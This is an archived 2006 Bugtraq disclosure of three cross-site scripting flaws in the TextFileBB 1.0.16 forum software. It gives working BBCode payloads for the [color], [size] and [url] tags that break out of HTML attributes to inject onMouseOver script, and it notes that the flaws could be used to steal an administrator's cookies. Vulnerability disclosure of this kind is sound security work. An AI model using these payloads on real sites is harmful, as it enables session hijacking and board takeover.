bugtraq - TextFileBB 1.0.16 Multiple XSS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060429191549.18115.qmail@securityfocus.com>
Date: 29 Apr 2006 19:15:49 -0000
From: r0xes.ratm@...il.com
To: bugtraq@...urityfocus.com
Subject: TextFileBB 1.0.16 Multiple XSS

TextFileBB is a flat-file based bulletin board system written in PHP.

There are 3 different XSS vulnerabilities in this software at the moment, which I found about half an hour ago =D

Anyway, the XSS lies in these tags:
[color]
[size]
[url]

EXPLANATION:

Firstly, we'll explain [color].

[code][.color=#00'">0FFF] """xss [/color][/code]

Would give us:
[code]<font >0fff="" color="#000000"> """xss </font>[/code]

Therefore we can see that we actually are breaking the tag and that our last part (0FFF) is stripped (funnily enough I found this by typo.)

So, we need to do:

[code][.color=#00F"onMouseOver='alert(/xss/)' x="]h0n0[/color][/code]

As this would give us:
[code]<font onmouseover="alert(/xss/)" x="" color="#000000">h0n0</font>[/code]

We use the #00F to start the color (so that it IS parsed [attempted to be] by the parser), and break out of that with our quote - it'll be replaced with a space. The color will be left as #000000. I added the x="" attribute because I noticed it wouldn't render in IE for some wierd reason.

NEXT: [size].

This is basically the same as [color], but tad different.

[code][.size=7" OnMouseOver="alert(/xss/)]Clicky Here [/size][/code]
We break out of the size with the first quote, and then use our MouseOver - we do not close the MouseOver ourselves because the parser will enclose everything in "".
Turns into: (something like)

[code]<font size="7" onMouseOver="alert(/xss/)">Clicky Here</font>[/code]

LAST: [url].

I don't think the parser cares whether or not you include the http://, but I added it just as an example.

[code][.url=http://" OnMouseOver="alert(/xss/)]hmm[/url][/code]
Same as with [size], we break out of the href and then do not add a " to the end because the parser will do it for us.

USAGE:
TextFileBB stores user information in cookies, so you could steal the administrator's cookies and take over the board.

Credits: me =D

Shouts: digi7al64 - PrOtOn - Lockdown - WhiteAcid

Video @ http://dynxss.whiteacid.org/videos/TextFileBB_1.0.16-final.rar]http://dynxss.whiteacid.org/videos/TextFil....0.16-final.rar :: 8mb